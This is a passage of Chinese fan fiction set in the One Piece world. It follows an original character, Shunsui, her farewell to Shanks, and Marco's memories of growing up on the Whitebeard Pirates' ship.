她轻轻地喊了一声他的名字。 艾斯怔怔地收回视线,心里细细密密地酸涩还没消散。 ——“要连着老爹的份,一起活下去。” 春水带着点安抚的意味,抬手轻轻拍了拍他的发顶。 有着一哭一笑两个表情的帽子盖住了艾斯的脸,春水看不清他的表情。只能听见过了很久,少年带着鼻音的: “嗯!” 红发海贼团启程返航的前夜,海边举行了一场热闹的宴会。这是海贼之间告别与祝福的方式。 他们一起向老爹的墓前倾倒了满满一大碗酒,又在星空下畅谈,短暂的相处已经足够几人成为朋友。 香克斯笑着摆手,制止了队长们又一次的道谢,转而语气轻松地向春水提出了要求:“围巾织得不错,下次再见,给你带更好的料子,到时候再给我织点别的吧。” “好啊。”春水应得也很干脆,她仔仔细细看了他一眼,突然用陈述般的平淡口吻补充道,“「柄卷」该换了,下次做这个。” 剑柄的缠绳……他吗? 香克斯明显愣了,低头看向格里芬的刀柄,那里缠绕的绳结确实因常年使用而有些松动磨损——虽然这对他造成不了影响。 他脸上的笑突然很明朗、很畅快:“啊,我很期待。” ——她注意到了。 这种细微的、连他自己都习惯性忽略的不适。她注意到了。 艾斯望向有点像在咬牙的马尔科和表情各异好像憋笑的队长们,不知道为什么,觉得那股奇奇怪怪、让他插不进去话的氛围又来了。 可能是春水姐自己也没发现吧,像是需要照顾、放心不下的“弟弟”,又或许是别的什么。她对香克斯总有种下意识的、超越常人的关注和耐心。 这一点「特殊关照」,或者干脆说是「偏爱」,就连迟钝如他都感受到了。 ——就更别提人精一样的香克斯本人,和为此非常、非常不爽的马尔科了。 宴会终有尽时,众人目送雷德·福斯号拉起船锚,扬帆准备远航。香克斯倚在船头,朝他们挥手告别。 春水转身欲回时,他的声音再次响起。不高,却清晰地穿透了海风,传入她耳中: “喂,春水。” 她和马尔科同时停下脚步,回头望过来。 香克斯看着她,脸上的笑收敛了些:“如果哪天,我需要你帮个忙。你会来吗?” ——与其说是说是挖墙脚或者邀请,这更像是个私人的试探。 无关四皇,无关红发海贼团与白胡子海贼团。 问出这句话的香克斯,只是个备受春水「偏爱」且自知的男人,想从她那儿得到一个答案。 他想看看,她究竟能为这份「偏爱」做到哪个地步……或者干脆说,在她眼里,他香克斯究竟占着个什么样的位置。 马尔科的目光瞬间锐利起来,像刀子一样刮过香克斯的脸。 这个家伙——!! 春水与他对视,没有犹豫,回答得理所应当:“老爹的故乡需要守护。从今往后,这里就是我们的家。” 她首先划定了界限,明确了「家人」的优先级。 然后她顿了顿,直视耐心等待下文的男人:“在确保家人安全的前提下。你需要,我会去。” 她的语气无比笃定,无比平静:“随时。” ——只要你需要,我随时可以为你拼死而战。 这是来自「利刃」的承诺。简单,直接,重逾千斤。 空气瞬间凝滞了。 马尔科的表情彻 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春水任他拉着,语气依旧是平淡的直白:“你了解他,如果他开口,那一定是非常重要、非我不可的事。我自当全力以赴。” “但那种事……不是我们现在该考虑的。”她顿了顿,侧头看向马尔科,带着一种理所当然,“莫比迪克号已经不在了,我们的冒险也结束了,马尔科。这里才是家,保护好家人是当下最重要的事。” ——这句话有着神奇的安抚意味。 马尔科的神情复杂,最终,只是几不可查地叹了口气。 他知道,于公于私,他们都欠红发太多。无论是基于海贼的「道义」,还是那份救下他俩、帮忙带出伙伴、安葬老爹的「恩情」,为此赌上几十次性命也不为过。 不存在任何拒绝的可能和理由。 无论是白胡子海贼团哪位成员,哪怕今天香克斯问的是自己,他也会毫不犹豫地应下——这一点上,春水只是做出了和他一样的选择而已。 但…… 都是男人,那小子究竟是打着什么算盘,他一眼就能看明白。 马尔科遥遥对上了香克斯投来的视线。两个男人的目光在空中交锋,一个带着明显的警告,一个满是坦然的笑意。 空气里似乎有极其细微的噼啪声,一触即分。 落后几步的比斯塔搂着萨奇的脖子,压低声音窃窃私语:“看吧,马尔科的脸都快绿了。” “没办法,红发那小子段位高啊。玩阳谋,吃准了春水。” “他就爱看马尔科拿他不爽又无法反驳的样子吧……” “某种意义上来说,当面撬人……还成功了,不愧是他啊。” 哥哥们叽叽咕咕个不停,艾斯这次是真的一句都没听懂。他凑过去小声问:“阳谋?什么阳谋?这不是「仁义」吗?” 他们都快上高速了,这小子还在那儿玛卡巴卡呢。 以藏淡定地从萨奇兜里给他拽了两根肉干出来:“小孩子别问那么多,吃肉。” “………”马尔科将他们的讨论听了个清清楚楚,黑着脸回头白了他们一眼。乔兹险些被逗得笑出眼泪来。 远方的雷德·福斯号上。 香克斯心情大好,将那条温暖柔软、如火般鲜艳的云绒围巾围在脖子上,对着海面照了照。 “挺暖和的。”他评价道,脸上是怎么也掩饰不住的笑容,甚至带着点孩子气的炫耀。 跟个笨蛋似的大热天带着个围巾,还在嘚瑟的傻乐,简直没眼看。 本·贝克曼吐出一口烟圈,对忍俊不禁的耶稣布低声道:“看见了?那点心思,全写脸上算了。” 耶稣布嘿嘿一笑:“头儿这是‘求贤若渴’,目光长远。” 撑着脸看了好一出热闹的本乡顺势加入讨论:“所以说啊,为什么头儿总惹马尔科生气啊……?” 经过这段时间的相处,他是真心觉得马尔科的脾气很好,但头儿每次都能轻易地惹毛他——真的很不可思议。 绝对是故意的吧,这个人。 拉基·路想起刚刚那一幕,也乐了:“可能是因为……马尔科变脸的样子很有意思吧。” 这人平时懒懒散散提不起干劲的样子,一提到春水,简直跟炸了毛护犊子的鸡妈妈似的。 “恶趣味罢了。”贝克曼瞟了自家船长一眼,意味深长,“他在某些方面,长着八百个心眼子,恶劣的很。” 被伙伴们大声蛐蛐,香克斯笑而不语,只是摩挲了一下格里芬的刀柄上有些磨损的绳结,望向窗外广阔的大海。 他想起了那两个人。 一个呆如木头一个苦苦忍耐,二十多年过去了,居然还是毫无进展——想到这里,他忍不住又笑出了声。 哎呀。 下次见面会是什么时候呢? 怎么回事,他突然好期待啊。 8. 马尔科视角1 「“要做我的儿子吗?”」 饿到昏厥,意识模糊时被陌生的大叔喂了一颗无敌难吃的“苹果”,醒过来时马尔科发现自己浑身冒着青蓝色的火焰,化身成了一只尾羽如黄金链般绚丽的怪鸟。 啊? 他怎么着火了?怎么变成鸟妖怪了?! 还来不及惊慌失措,那个救了他的巨人——爱德华·纽盖特,就问了马尔科这样的问题。 「“小子,要做我的儿子吗?”」 堪称命运一般的相遇。那一年,他大概是十三岁。 自从失去血亲后,没人记得自己的生日,年龄早已失去意义。每一天都在为了一口馊饭挣扎,看着身边的人像垃圾一样无声无息地消失—— 他对未来没有任何期待。 这个国家已经烂透了。王族只顾享乐和剥削下层,贫民窟每天都有一批又一批饿死的人,尸体会被其余人啃得精光,倒是一点也没浪费。 「“好啊。”」几乎没有任何犹豫,马尔科仰头,干脆地答应了。 像自己曾经梦想中那样,做一名航海士,出海吧。 ——反正,无论再差,都不会比这里更差了。 据后来醉酒后的老爹回忆,洛克斯死后,洛克斯海贼团便四分五裂。 他没回海贼的聚集地「蜂巢岛」去试图分一杯羹,瓜分洛克斯的遗产——而是决定去完成夙愿,组建属于自己的海贼团,得到很多、很多的「家人」。 他的狂热粉丝、波罗海贼团团长「波罗·格拉姆」——也就是马尔科的父亲——曾经救过他一命。 “我有个儿子,他叫马尔科。”濒死之际,波罗·格拉姆掏出了一张染血的生命纸,颤颤巍巍地交给了他,“……他就拜托你了。” 明明是在马尔科刚出生不久,就抛妻弃子,去追求所谓海贼梦的男人——伟大航路盛产的那种父亲。 但临近死亡,波罗·格拉姆还是想起了他的妻儿。 纽盖特接过了那张生命纸,找了过来,救下了饿得奄奄一息的马尔科。 于是,他成了纽盖特的第一位真正意义上的「家人」。 ——而喂给他那个难吃无比的“苹果”,则是市价过亿的「恶魔果实」,动物系·鸟鸟果实·幻兽种·不死鸟形态。 彼时的纽盖特孑然一身,兜比脸干净,但这丝毫不妨碍他实现梦想的伟大抱负。 带着海贼惯有的蛮不讲理,他拎上马尔科,“拜访”了这座腐朽王国的国王宝库,扛着几麻袋金银财宝,大摇大摆地贿赂了一艘商船,前往下一个岛屿。 在船坞,当纽盖特指着那艘因为过于巨大而滞销多年、船头有着鲸鱼雕像的三桅帆船,宣布“就是它了!”并要求匠人将雕像顶端的装饰改成和他胡子一样的弯月状时—— 马尔科目瞪口呆地听着周围人议论“冤大头”,忍不住小声问: “老爹,真的要买这么大的船吗?我们未来真的会有这么多家人吗……?” “库啦啦啦啦!当然会!”纽盖特的笑声震得海面都在荡漾,他满意地宣布,“从今往后!这艘船就叫做「莫比迪克号」!” 那位将来被称为「世界最强」的男人,如是说道。 豪掷万金下场就是再次一贫如洗,马尔科似乎预见到了老爹下一步的行动——果然,纽盖特的目光锁定了岛上最富庶的地方:关押着众多奴隶的拍卖场。 已经初步掌握飞行能力的马尔科试图从高空侦查,却因不太习惯双手变成羽翼的感觉而失去平衡,一头栽进了拍卖场后院的奴隶堆里。 脖颈上套着爆炸项圈的奴隶们麻木地避开他,生怕招惹了什么是非。 只有一个用过长的刘海将脸全部挡住的的少女,沉默地将他拉起,塞进了一旁的草垛中,又冷静地糊弄过去了闻声而来的监管者。 ——这,就是他与春水的初次见面了。 严格意义上来讲,马尔科其实只比春水大一岁。 但由于长期的营养不良——她从小就只能捡垃圾吃——后来更是被人贩子卖来做奴隶,饥肠辘辘总是常事。所以春水比同龄人小的不是一星半点。 看起来只有六七岁孩童大小的少女一声不吭地看着他燃烧着青炎的羽翼,眼睛眨也不眨。瘦骨嶙峋,仿佛一阵风就能吹倒。 “你是谁?”她问。 同样瘦小的马尔科从草垛里探出头来,和她道了句谢,告诉了她自己的名字。 “我叫马尔科。”他轻声道,“是个海贼。” 当纽盖特挥舞着丛云切,如同天灾般将拍卖场劈成废墟时。奴隶们在混乱中杀死看守者,抢夺起了钥匙。 马尔科也被找来的老爹拎着脖子,放到了肩膀上。 奴隶们解开了项圈,四散奔跑,只有春水静静抬头,用藏在刘海缝里的黄金眼瞳望着比她高太多的纽盖特。 “谢谢您救了我。” 她突然开口,声音有点哑,但是很有礼貌——即使对面的是个一刀劈裂五层高的建筑物群的恐怖巨人——她依然很平静。 “请告诉我您的名字。总有一天我会报答您的。” 纽盖特看了看她几乎能戳出身体的骨头,又听了一耳朵马尔科的“带她一起走吧老爹”“这样我们就多了一个家人了”——似乎从她身上看到了自己的影子,这孩子真的很努力地在为她求情。 他最后还是心软了。 “我是爱德华·纽盖特,小丫头,要不要做我的女儿?”他朝她伸出了手。 “春水。”小小的春水同样没怎么犹豫,搭上了那双温暖的大手。即使她的身体几乎才和他的手差不多大小。 “老爹,我叫春水。”她说。 ——白胡子海贼团未来的「王下双翼」,于此刻集结。 马尔科很高兴自己多了个妹妹,欢呼着同纽盖特保证,自己一定会尽好「哥哥」的责任,照顾好「妹妹」。 他借来剪刀为春水剪掉了碍事的刘海,露出了那双漂亮却过于沉静的黄金瞳。又像个小管家似的将生活必需品列出了个清单,肩负起了采买的重担。 ——甚至连上船以后的第一个澡,也是两个对船上设施一无所知的孩子磕磕绊绊摸索着完成的。结果是被淋浴喷头浇得浑身湿透,索性一起泡在了大浴桶里。 马尔科努力地给春水洗着头发,但它们干枯打结得厉害,还黏着去不掉的口香糖——征得她同意后,他干脆给她剪了个短发。 其实剪的挺丑的……他的手艺,真的有点对不起春水那张脸了。 但春水毫不在意。她全程安静且沉默地任由他摆布,像个不会动的布娃娃。 只有在他因为不能熟练掌控果实能力而时不时冒出的翅膀碰到她时,她才会忍不住伸出手,小心翼翼地触碰一下。 这份极其小心的好奇被马尔科发现了。 “这有什么的,给你玩。”他大方地将燃着火焰羽翼拢到她面前,自己则继续为她清洗满是伤痕的身体,细细上药包扎,忙的不亦乐乎。 太过专注,他完全没注意到——当被那绚烂、温暖、生机勃勃的羽翼包裹时,春水那双沉沉看不见底的眼瞳,瞬间变得闪闪发亮。 她很是珍惜地用没有伤口、也没有污渍的右脸,轻轻蹭了蹭他的翅骨。整张脸顿时被马尔科温暖的再生之炎包裹,使她嘴角弯起了一个大大的、几乎从未有过的笑容。 ——马尔科可能永远也不会知道,对十二年里大半时间都在与污泥、鲜血和腐肉作伴的春水而言,那一日从天空中坠落的他—— 青炎漫天挥洒,羽翼舒展如云,尾羽像璀璨的黄金链条。 ——那简直是她贫瘠的梦里也没有出现过的,最绚烂的色彩了。 从那时起,被大漂亮翅膀彻底收服,马尔科多了个小尾巴——春水总是很安静,勤劳肯干,沉默寡言。 但……不知道是不是因为很少与人相处,她对人情世故迟钝得像少了根筋,有时蹦出来的话直白得难听,完全不懂弯弯绕绕。 作为年长者,作为“哥哥”,马尔科越发习惯地帮她善后,再耐心地给她讲清楚要怎么迂回、委婉,要顾及家人的心情。 春水一脸茫然地听着。虽然还是不太明白,但她一直很听马尔科的话,堪称乖巧地一一遵守。 他笑着主动朝她伸出手,将她小小的手放进自己掌心,拉着她往前走——一直、一直走下去。没有松手。 一下子子女双全有船有钱的纽盖特就这样和两个孩子磕磕绊绊地生活了起来。 直到三个人凑在一起商量了半天,画了无数张歪歪扭扭的废稿,才终于有了个像样的轮廓。 象征着“守护”的月牙胡子骷髅海贼旗,高高悬挂在了莫比迪克号的桅杆上。 ——「白胡子海贼团」,就此成立了。 在马尔科的记忆里,最初的航行并不总是如同后来那般所向披靡。 纽盖特树敌众多,震震果实的破坏力又太强。很多时候,纽盖特不得不将尚且弱小的他们带在身边——战场上最安全也是最凶险的地方。 “马尔科,照顾好春水。” 或者 “你们两个,互相照应好。”,这几乎成了战斗前的固定指令。 马尔科已经能越发熟练地掌握自己的能力了。不死鸟形态赋予了他超高的机动力和近乎刀枪不入的元素化,让他能够作为一股灵动的力量,替老爹分担火力,及时进行支援。 那独特的再生之炎,更是能在攻击的同时,为受伤的伙伴们治愈伤口,补充体力。 春水很少拔刀,但每一次都能又快又准又狠地砍上敌人的命脉。 她知道自己太瘦弱了,力量不足,不能正面与人硬拼。因此每一击都必须确保不会被格挡,有十成十的把握一击毙命才行。 ——小小的年纪,砍断人手脚甚至是头颅时,却一点也不含糊。 不过一击致残或致死的机会很少,大多时候,她还是负责守护老爹和马尔科的后背,用能力挡下偷袭。 自小便拥有的名为「织织果实」的能力,总能在一次次的生死相搏中被挖掘出更多价值。 她能“看”到敌人攻击的轨迹,并操控着象征着“轨迹”的”无形的“线”,使它们发生细微的偏移。 那是只有她能做到的事,往往能在关键时刻化解危机。 因此,在那段成长的岁月里,马尔科和春水几乎是形影不离的。 战斗时,他是发起冲锋的矛,她是挡下攻击的盾——与未来完全相反,起码现在的分工是这样。休整时,他们凑在一起分享食物,处理伤口,听着彼此的呼吸声入眠。 越发默契地配合使两人总能发挥出“1+1大于2”的效果——尤其是在那个月夜下,有了那个要么同生要么共死的承诺以后。 「“没事的。有我在,马尔科。”」 有她在,他真的不再害怕了。 又过了一年,白胡子的名号越发响亮,他们拥有了更多家人。 许多强大的战士慕名而来,比如医术与战力俱佳的怀迪贝、挥舞火焰刀的佛萨、使用流星锤的拉克约和擅长洋流过肩摔的鱼人安德烈。 ——但最让马尔科感到高兴的,是老爹又捡到了两个孩子。 一个是名叫乔兹的大块头少年。他在岛上偷窃食物时被殴打至昏厥。这孩子天生体型就壮硕无比,胃口大得惊人,似乎永远处于饥饿状态。 另一个是比斯塔。他自幼在道场习武,却因道场师父被海贼所杀而憎恨着所有海贼。这份敌意,在他亲眼目睹纽盖特击溃了那群作恶的海贼,并将岛屿置于白胡子海贼团旗帜的保护之下后,才渐渐消散。 比斯塔的年龄稍长,乔兹则是比春水还小两岁,四个年龄相仿的孩子很快玩到了一起去。 比斯塔是他们中唯一受过系统训练的,实力最强,小小年纪就挥舞竹刀击败过不少成年人——自然成了几个孩子的“教练”,负责制定训练计划。 绕甲板跑步、基础挥刀、力量训练、负重实战……他将日程排得满满当当,严格地督促他们执行。 乔兹的性子沉默而温吞,和春水有点像。他只对食物有着超乎常人的执着——因为从出生以来就没吃饱过,所以最害怕饥饿的感觉。 能在船上吃饱饭、交到朋友,对他而言,简直幸福得像是要飞起来了。 马尔科依旧是负责照顾大家的角色,不过范围扩大了。 为了更有效地使用再生之炎,他开始正式向怀迪贝学习医术了。每天抱着厚重的药典,记诵着冗长的药名和配方,忙前忙后,立志成为一名合格的船医。 在家人们的精心照料下,春水健康了许多,个子也窜高了一点——虽然比起马尔科、以及快要长到两米的比斯塔和乔兹,她这一米五出头的身高,被三个大块头围在中间时,简直就像信号格里的最小那一格,显得格外娇小。 同为营养不良,她和乔兹作为重点关照对象,被怀迪贝塞了好多补充营养、调理肠胃的药剂——这个工作很快被跃跃欲试的马尔科接手了。 他调配的药剂很奇怪,很难喝,颜色诡异,味道堪比女巫的魔药,偶尔还会忘了几个关键的药材。 看着马尔科兴致勃勃的脸。比斯塔流着汗找借口溜走,连对食物来者不拒的乔兹都会露出犹豫和退缩的表情。 但春水……只有春水,会面不改色地接过来,一口饮尽,然后在乔兹和比斯塔震惊而敬佩的注视下,认真给出评价。 “太稠了。”或者“有鱼腥味儿的药草加太多了。” 她的味觉异常敏锐,总能一针见血地指出马尔科与怀迪贝所制药剂的细微差别。 ——那种难喝的如同臭抹布的药,不仅喝得精光……居然还尝出了味道啊……春水那家伙,真是了不得。 有时连马尔科都想这么说。 没有血缘、拼凑而成的家庭里,四个孩子就这样互相拉扯、彼此照顾着成长。 他们一起冲向远比他们强大的敌人,又带着满身伤痕挤在船医室里,让同样受伤但愈合得最快的马尔科包扎练手。 他们一起训练,一起变强,一起为彼此庆生——直到此刻,在这艘名为“莫比迪克号”的船上,年龄才重新有了意义。 这一年,马尔科十四岁。 他吹灭了比斯塔不知道从哪儿搞来的蜡烛,将卖相很难看但确实是乔兹和春水亲手制作的蛋糕,分给甲板上每一位笑容满面的家人。 在老爹豪迈的笑声里,马尔科闭上眼,虔诚地许下了心愿: 「“我希望家人们平平安安。明年,后年,以后的每一年,都能和他们一起过生日。”」 大概过了一年,白胡子海贼团在穿越一场风暴时,意外乘上了上升的鲤鱼群,抵达了封闭的和之国。 那个常年闭关锁国的武士之国,仿佛停留在古老的画卷里,瀑布如银河倒挂,留着统一发髻的武士们持刀而立。 在九里的伊达港,莫比迪克号带着大伙儿从高空坠下。船体损坏,短暂地失去了航行能力。他们只能短暂地留在了这个神秘的国家,一边修船一边与莫名其妙的九里大名光月御田及身后一众家臣交战。 拗不过光月御田,纽盖特最后还是认可了他,连带着他的家臣犬岚和猫蝮蛇、以藏,还有被光月御田救下的、来自过去的天月时。 船上一下子热闹了许多。 新的家人带来了新的故事,随之而来的战斗也越发严酷。 真正在新世界闯出了些名头的大海贼们,远比他们想象中的更加凶悍和狡猾。 尚未成年的四个孩子仍然被大伙儿称为“见习船员”。 为了提高实力,他们开始和光月御田学习刀法以及那种玄之又玄的、关于对「霸气」的掌控,为此还与以藏产生了许多口角。 “看着就一副不好相处的样子!总说我们是臭海贼,他自己不也是嘛!” “就是说啊!不就是想尝一口他的寿喜烧吗!真是小气的家伙!” “太过分了! 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乔兹试图用身体硬抗,被狠狠劈飞,倒地不起。比斯塔的双刀被震开,下一秒胸口就挨了一刀,深可见骨。 马尔科用青炎壁替他们挡下接连不断的斩击,却还是有道身影突破了防御,直指他身后正与另一个敌人缠斗的春水。 ——不好……!春水!!! 那一刻,马尔科脑子里一片空白,身体却已经下意识地做出了反应。 他猛地转身按下春水,用后背硬生生替她挡下了一刀。 “噗嗤——!” 空气安静得可怕,利刃撕裂皮肉和骨骼的声音无比清晰。 剧痛瞬间将马尔科淹没,约克船长刀刃上缠绕的武装色霸气完完全全无视了元素化,几乎斩断了他半边的翅膀! 温热的鲜血四散喷溅,染红了被他护在怀里的春水骤然缩紧的双眼。 “马尔科……!!” 她的声音带着前所未有的惊惶。 马尔科能感觉到力量随着血液飞速流逝,再生之炎明明灭灭,视线已然开始模糊。 他踉跄几步,半跪下来,却死死挡在春水身前,用力凝聚起摇摇欲坠的青炎壁垒,声音因剧痛而颤抖: “跑……春水……快跑……” 他不能,让她死在这里。 ……赌上什么都好。他绝对不能,让她死在这里。 他让她跑。 那个总是处处照顾她、保护她的马尔科,那个见到她就会眼睛亮晶晶地凑过来打招呼的马尔科,那个陷入梦魇时会偷偷流泪说好疼的马尔科……让她抛下他,快点逃跑。 春水愣愣地看着马尔科被鲜血浸透、无力垂落的翅膀。 那双总是平静无波的眼睛里,终于有什么东西彻、彻、底、底、碎裂了。 ——马尔科。 黄金瞳再次睁开时,被一种前所未见的、因怒憎而冰冷到极致的风暴填满,属于少女的软和被完完全全吞噬殆尽。 ——那是马尔科啊…… ……你怎么敢——你怎么敢!! 一股极其恐怖的无形威压,猛地以春水为中心爆发开来!暗红色的电弧如同实质的冲击波,不分敌我地碾压过整个战场! “噗通。” “噗通。” 空气在那一刻仿佛凝固,实力稍逊的敌人与伙伴接连翻着白眼晕厥过去。 倒地声不绝于耳。 那是—— “霸王色霸气?!”察觉到不对劲的纽盖特带领船员迅速回援,他惊异地持刀砍了过来。 ——春水那丫头,有「成为王的资质」? 离她最近的约克船长直面这股磅礴恐怖的霸气,心神巨震,动作也为之一滞。 霸王色……? 乳臭未干的小鬼,为什么会……? ——就是此刻! 春水屈膝一跃,如利刃般冲出! 她手上的是倒下的敌人遗落在地、比她整个人还高的太刀。那刀显得无比笨重,她挥舞时的身姿却轻盈如夜鸟,凭着本能,斩出了有生以来最快、最狠的一刀! “嗡——!” 无意识外溢的霸王色霸气竟自发地缠绕上了刀锋。 刀光闪过,约克船长的脸上还残留着惊愕,头颅已然冲天而起! ——一刀枭首。 他强硬的武装色防御,在那道斩击面前,如同纸糊一般! 血柱冲天而起,泼了春水与马尔科一脸——后者已经失血过多昏厥过去。春水也耗尽了力气,她拖着刀勉强支撑着身体,在看到纽盖特时才松了一口气。 骤然紧绷的神经迅速松弛,眼前一黑,她也失去了意识。 …… 马尔科在剧痛和高烧中挣扎了许久,第二日清晨才被再生之炎顽强地从死亡边缘拉了回来。 他醒来时,第一眼看到的就是守在他床边的乔兹和比斯塔,他们整夜没合眼,眼里都是血丝,又惊又喜。 还有……紧紧握着他的手、已经趴在他床边睡着了的春水。 她的脸上还带着干涸的血迹和泪痕,睡梦中眉头依旧紧锁。 望着那行再明显不过的眼泪,那一刻,马尔科感觉……心脏像是被什么东西狠狠揪住了。 尚且年少的他还分不清那是什么感情——不仅仅是劫后余生的庆幸,还有……一种……因为感受到自己在被如此强烈地需要着的触动。 大概吧?反正他也形容不出来。 只是一下子心很软很软,酸涩的,胀胀的。 ——他不想见到她的眼泪。 即使那是因他而流出来的泪水,他也不要。 以藏的伤不比自己少,还躺在隔壁病床上昏迷中。在那个风清爽而温柔的清晨,马尔科听乔兹和比斯塔心有余悸地讲完了后续。 他这才知道春水觉醒了霸王色,知道她如同暴走的小兽般为他复仇。 ……是吗?所以……是为了他啊。 自那以后,一切都变了。 拎着比她还长了一倍的太刀,春水仿佛一夜之间长大了。 更加沉默,更加专注。 她正式向这艘船上剑术最强的男人光月御田拜师,在剑道上展现了惊人的天赋和毅力。 纽盖特也开始亲自训练她使用霸气,将这份天生的力量引导向正确的方向。 「见闻色」、「武装色」、「霸王色」。 「流樱」、「霸缠」、「黑刀」、「预知」、「果实觉醒」。 属于孩子的顽皮和天真被彻底吞没了。 春水不再加入五人组上蹿下跳的船上大冒险,不再晃着腿坐在老爹肩膀上听他讲故事,不再和天月时一起想方设法地改善菜谱、照顾船员的起居。 ——而是在保证满足正常生理机能的前提下,将所有空出来的时间,都放在那把并不趁手、但很合她心意的太刀上。 她正在主动将自己磨砺成一把锋利的“刃”。参与战斗时,站位也开始前移。 不顾马尔科的抗议,她沉默地上前一步,将他完完全全挡在了身后。 ——想动他,得先踏过她的尸体才行。 不再是被动的防御。春水的刀锋所指,往往是战局最关键、最危险的地方。 越发熟练地灌注霸气再挥刀,越发平静地忽视与变强不相关的琐事,将整颗心都沉进战斗里。 任何试图靠近「家人」的敌人,都会先迎来她毫不留情的斩击。 马尔科明白,那次战斗,他染血的翅膀和那句“快跑”,倒地不起、生死不知的比斯塔和乔兹,被敌人一脚脚大力用力踢击的以藏、还有大声哭泣的犬岚与猫蝮蛇。 这一切的一切,都深深地印在了春水的心里。 ——绝对、绝对不会再让你们受伤了。 ——由我,来斩断所有的威胁。 9. 马尔科视角2 马尔科十七岁那年的夏天,莫比迪克号上发生了几件不大不小的事。 新成员马歇尔·D·蒂奇上船了。 那是个年岁不大,看着老实憨厚却总让人觉得有点古怪的少年。据说能很多天都不睡觉,总是默默地完成分配的工作,却很少主动融入大家的热闹。 年龄相近,马尔科曾抱着善意邀请过他一起用餐或训练,就和当初对待春水、乔兹、比斯塔和以藏一样,试图扩张成“六人组”——但蒂奇总是挠头笑笑,找借口推脱了。 倒不是不想亲近自己……那更像是一种警觉和距离感,或者说,他并不喜欢和人产生太强的羁绊。 “再相处几年应该就好了吧?是有点难搞的性格呢yoi。”马尔科曾经私下和春水抱怨道。 少女坐在高处的船舷边,正低着头用软布擦拭刀上的血迹,侧脸还沾着砍人时被溅上的几滴血。 她已经彻底摆脱了营养不良,身形高挑,面容冷艳,尤其是那双气势过剩的黄金瞳,令很多人过目不忘。海军那边也将她的照片印上了悬赏令,金额高的吓人。 她没发表什么看法,只是安静地听着,一言不发——比起几年前还会被他们的耍宝逗笑,跟着一起疯玩胡闹的小女孩,现在的她,情绪简直少的惊人。 ……唉,怎么办呢。 春水越来越不爱讲话了,连对他也是。笑也大多是在遇上敌人的时候——那种兴奋的笑,似乎整个人都要和手里那把刀融为一体了。 马尔科出神地想着,突然有点头疼的叹了口气。 下一秒,春水闻声抬头,眼睛里带着点询问直直望了过来。 “怎么了?你为什么叹气?是身体不舒服吗?”大概是这样的眼神。 “算了yoi。” 比起不合群,更不希望她强迫自己为了合群而做她不情愿的事,马尔科苦恼地抓了抓头发。 他去船医室取了块热毛巾,一点一点替春水擦净脸上的血迹。她没什么反应,还是和小小一只的时候一样任他摆布。 马尔科轻轻地擦着她的眼角,掌心被少女的睫毛一下又一下地擦过,触感如同羽毛,心里慢慢变得很软和。 ——算了。 不就是话少一点脸冷一点吗,其实也没什么。 大不了到了与人交流的时候,他帮忙翻译就好了。 他摸了摸春水的头,迎上她困惑的目光,颇有些无奈地想道。 ——反正他会一直在她身边的。 船上的家人越来越多了,从前会被马尔科担心太过庞大的船体,现在已经隐隐有承载不下的趋势了。 “分成五队吧。”在一次宴会后,马尔科听见了老爹这样的决策,“御田,你来做「二番队队长」。” “唉!白吉,可是在下并不适合管理什么的……”“少废话!”两个人像小孩子似的你一嘴我一嘴地吵起架来,光月时抱着男婴笑眯眯地坐在一旁。 这是光月御田出航的第二年,一年前他与天月时在众人的见证下结为夫妻,天月时也正式更名为光月时。 几个小时前,她诞下了一名男婴,取名为光月桃之助。 新生命的降临,尤其是在这漂泊无定的大海上,总显得格外珍贵。船上特意为此开了个宴会。 酒过三巡,光月御田已经喝得酩酊大醉,他抱着襁褓中的儿子,用破锣嗓子唱着走调的和歌,惹得大家哄笑又感动。 或许是被这温馨的氛围感染,夜晚的甲板上,开始有年轻船员红着脸,交换着不知从哪儿听来的爱情故事,或是偷偷议论哪个岛屿上的姑娘最漂亮。 有的更是离谱,干脆开始畅想了突然暴富以后迎娶白富美走上人生巅峰的未来。 他们越谈越欢,时不时就有着几道起哄声,热闹的很。 老实说,马尔科对那些话题不太感冒。他很难对未来产生具体的幻想——准确来说,被老爹救下的那一刻起,他的未来就牢牢地系在了这艘船上。 离开莫比迪克号的生活? 他想象不出来,也不愿去想象。 他的未来,理所应当是和老爹、和家人们一起,继续在这片大海上航行。 直到他们垂垂老矣,直到这艘船龙骨断裂,再也开不动为止。 至于爱情……这种陌生的名词更是遥远的像另一个次元,比起聊那种毫无意义、非常无趣的事——他强硬地把一大块烤好的海王类肉排夹到了春水碗里。 “春水!说了多少次了?不可以挑食,把这个也吃掉。”他直直盯着她,看穿了她想早点扒完饭早点去练剑的小心思。 春水的表情明显不太情愿,但看了看他那坚决无比的态度,她还是妥协了,木着脸啃起了那块肉排。 马尔科对此十分满意。 就该这样啊!多吃点肉才行啊!满脑子刀啊剑啊的,她还是长身体的时候,怎么能连饭都只吃那么一点!! 乔兹依旧在埋头苦吃,比斯塔倒是有点好笑地替春水打抱不平起来:“她从小不就这样吗?不爱荤腥。这都第三块了,马尔科,饶了她吧。” 以藏抽出手帕,慢条斯理地擦了擦嘴:“让他把爱尽情释放出来吧,比斯塔。不然说不定他晚上就要操心地偷偷给你盖被子了。” “哈哈哈哈哈哈我可不要——”“哈?!你这家伙说谁呢yoi?!!”“这难道不是实话吗?母亲大人。”“……你!!”“唉?不吃了吗?你们为什么吵架?” 四个少年不知怎么又打成了一团,搞得那边还在向往着风花雪月的人美梦全部破碎了。他们愤怒地朝这边吼道:“吵死了!臭小鬼们!!” 趁此机会,几口咽下堪称巨大的肉排,春水悄悄地、做贼一样溜回了瞭望台——这里面有很多房间,足够宽敞,还存着不少负重的道具,是她平时锻炼的场地。 “趁马尔科没找过来,还能再练练「霸缠」。”远离了甲板上的热闹,她平静地想着,轻阖双目,拔刀出鞘。 黑红色的霸气骤然缠上。 * 命运的齿轮被缓缓拨动。 两年后,在一个十分不起眼的小岛上,恍若宿命的重逢,白胡子海贼团碰上了哥尔·D·罗杰所率领的罗杰海贼团。 “罗杰那家伙。”马尔科和春水曾听见喝醉以后的老爹提起这位老朋友,“总是跟个笨蛋似的,想一出是一出。” 没有预想中的剑拔弩张,纽盖特那时是笑着的。 ——老爹他啊,其实蛮欣赏罗杰的吧? 但一见面总要打一架这个风气不知道是从哪儿兴起的。两位传奇船长的顶级霸王色激烈碰撞——他们的武器甚至没相撞,就已经产生了毁天灭地般的冲击。 云层被撞碎,引发滔天海啸。 顺手拎走了一个险些被剑气波及的红发小鬼,春水转头对上了被称为罗杰的左右手之一的贾巴。 实力的差距摆在那儿,只是几次交手手臂就被震得发麻,他的「线」也如同密密麻麻缠在一起的网,让她分辨不出下一击的落点。 